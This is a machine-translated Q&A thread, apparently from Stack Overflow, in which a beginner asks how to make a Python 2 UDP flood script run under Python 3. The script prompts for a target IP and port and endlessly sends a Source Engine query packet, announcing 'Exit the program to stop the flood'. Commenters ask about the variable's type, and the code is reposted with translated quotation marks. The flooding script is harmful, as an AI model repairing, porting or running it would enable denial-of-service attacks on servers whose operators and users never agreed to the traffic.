這是用Python 2.x編寫的代碼,我想讓它在Python 3.x中運行。TypeError:'str'不支持緩衝區接口4
這行看起來像在Python 3.x中工作的樣子是什麼?
while True:
sock.sendto(bytes,(ip,port))
注意:我從未在今天之前使用Python,所以如果這對你來說是一個愚蠢的問題,請不要開槍。
下面是整個代碼,它應該看起來像在Python 3中工作的樣子?
import socket, sys
sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
bytes = '\xff\xff\xff\xff\x54\x53\x6f\x75\x72\x63\x65\x20\x45\x6e\x67\x69\x6e\x65\x20\x51\x75\x65\x72\x00'
ip = input("Target IP: ")
port = input("Target Port: ")
print ("Exit the program to stop the flood")
while True:
sock.sendto(bytes,(ip,port))
什麼是'bytes'的類型,你能展示更多的代碼嗎? – unwind
鑑於標題,這可能是錯誤消息,我想這是一個'str'。 –
import socket,sys sock = socket.socket(socket.AF_INET,socket.SOCK_DGRAM) bytes ='\ xff \ xff \ xff \ xff \ x54 \ x53 \ x6f \ x75 \ x72 \ x63 \ x65 \ x20 \ x45 \ x6e \ x65 \ x20 \ x51 \ x75 \ x65 \ x72 \ x00' ip = input(「Target IP:」) port = input(「Target Port:」) print (「退出程序停止洪水」) while True: \t sock.sendto(bytes,(ip,port)) – user1875727